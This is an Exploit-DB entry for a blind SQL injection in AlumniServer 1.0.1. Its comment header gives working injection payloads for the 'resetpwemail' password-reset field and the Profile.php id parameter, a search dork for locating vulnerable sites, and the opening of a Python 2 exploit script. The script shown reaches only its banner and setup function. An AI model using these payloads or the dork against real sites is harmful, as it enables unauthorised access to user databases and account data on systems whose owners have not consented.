Exploit-DB #9020
Description: AlumniServer 1.0.1 - 'resetpwemail' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-06-25
Author: YEnH4ckEr

Exploit:
#!/usr/bin/python
#***********************************************************************************************
#***********************************************************************************************
#**	       										      **
#**  											      **
#**     [] [] []  [][][][>  []     []  [][  ][]     []   [][]]  []  [>  [][][][>  [][][][]    **
#**     || || ||  []        [][]   []   []  []     []   []      [] []   []	  []    []    **
#   [>  [][][][]  [][][][>  [] []  []   []  []   [][]  []       [][]    [][][][>  []    []    **
#**  [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\ 
#**==[>    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  >>--
#**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ 
#   [>   [[[]]]   [][][][>  [][]   [] [][[] [[]]  [][]  [][][]  []  [>  [][][][> <][]   []    
#**							                                      **
#**    											      **
#**                           VIVA SPAIN!... GANAREMOS EL MUNDIAL!...o.O                      **
#**					   PROUD TO BE SPANISH!	                              **
#**											      **
#***********************************************************************************************
#***********************************************************************************************
#
#---------------------------------------------------------------------------------------------
#|       	       (POST var 'resetpwemail') BLIND SQL INJECTION EXPLOIT      	     |
#|-------------------------------------------------------------------------------------------|
#|                                    |    AlumniServer v-1.0.1      |		    	     |
#|  CMS INFORMATION:          	       ------------------------------	               	     |
#|										             |
#|-->WEB: http://www.alumniserver.net/			          	                     |
#|-->DOWNLOAD: http://www.alumniserver.net/		         	                     |
#|-->DEMO: N/A   	     			    					     |
#|-->CATEGORY: CMS/Education								     |
#|-->DESCRIPTION: Open Source Alumni software, based on PHP+MySQL for universities, schools  |
#|		and companies. Services for usersinclude profile page,...	     	     |
#|-->RELEASED: 2009-06-11								     |
#|											     |
#|  CMS VULNERABILITY:									     |
#|											     |
#|-->TESTED ON: Python 2.6								     |
#|-->DORK: "AlumniServer project"					                     |
#|-->CATEGORY: BSQLi PYTHON EXPLOIT		                             		     |
#|-->AFFECT VERSION: CURRENT				 			             |
#|-->Discovered Bug date: 2009-06-15							     |
#|-->Reported Bug date: 2009-06-15							     |
#|-->Fixed bug date: N/A							             |
#|-->Info patch (????): N/A					  			     |
#|-->Author: YEnH4ckEr									     |
#|-->mail: y3nh4ck3r[at]gmail[dot]com							     |
#|-->WEB/BLOG: N/A									     |
#|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.      |
#|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)		     |
#---------------------------------------------------------------------------------------------
#
#------------
#CONDITIONS:
#------------
#
#magic quotes=OFF
#
#-------
#NEED:
#-------
#
#Valid email
#
#---------------------------------------
#PROOF OF CONCEPT (SQL INJECTION):
#---------------------------------------
#
#POST http://[HOST]/[PATH]/Password.php HTTP/1.1
#Host: [HOST]
#Referer: http://[HOST]/[PATH]/Password.php
#Content-Type: application/x-www-form-urlencoded
#
#resetpwemail=[valid_mail]%27+and+1%3D%270 --> FALSE
#resetpwemail=[valid_mail]%27+and+1%3D%271 --> TRUE
#
#Other P0C (with a registered user):
#
#http://[HOST]/[PATH]/Profile.php?id=[valid_id]%27+AND+1=0%23 -->FALSE
#http://[HOST]/[PATH]/Profile.php?id=[valid_id]%27+AND+1=1%23 -->TRUE
#
#--------------
#WATCH VIDEOS
#--------------
#
# BSQLi --> http://www.youtube.com/watch?v=K3z7iyHttBw
#
# AUTH BYPASS --> http://www.youtube.com/watch?v=UjDm2p7qHj0
#
#
##############################################################################
##############################################################################
##**************************************************************************##
##  SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!         ##
##**************************************************************************##
##--------------------------------------------------------------------------##
##**************************************************************************##
## GREETZ TO: JosS, Ulises2k, J.McCray, Evil1 and Spanish Hack3Rs community!##
##**************************************************************************##
##############################################################################
##############################################################################
#
#Used modules
import urllib2,sys,re,os
#Defined functions
def init():
	if(sys.platform=='win32'):
		os.system("cls")
		os.system ("title AlumniServer v-1.0.1 Blind SQL Injection Exploit")
		os.system ("color 02")
	else:
		os.system("clear")

	print "\t#######################################################\n\n"
	print "\t#######################################################\n\n"
	print "\t##     AlumniServer v-1.0.1 Blind SQLi Exploit       ##\n\n"
	print "\t##       ++Conditions: magic_quotes=OFF              ##\n\n"
	print "\t##       ++Needed: Valid mail                        ##\n\n"
	print "\t##               Author: Y3nh4ck3r                   ##\n\n"
	print "\t##      Contact:y3nh4ck3r[at]gmail[dot]com           ##\n\n"
	print "\t##            Proud to be Spanish!                   ##\n\n"
	print "\t#######################################################\n\n"
	print "\t#######################################################\n\n"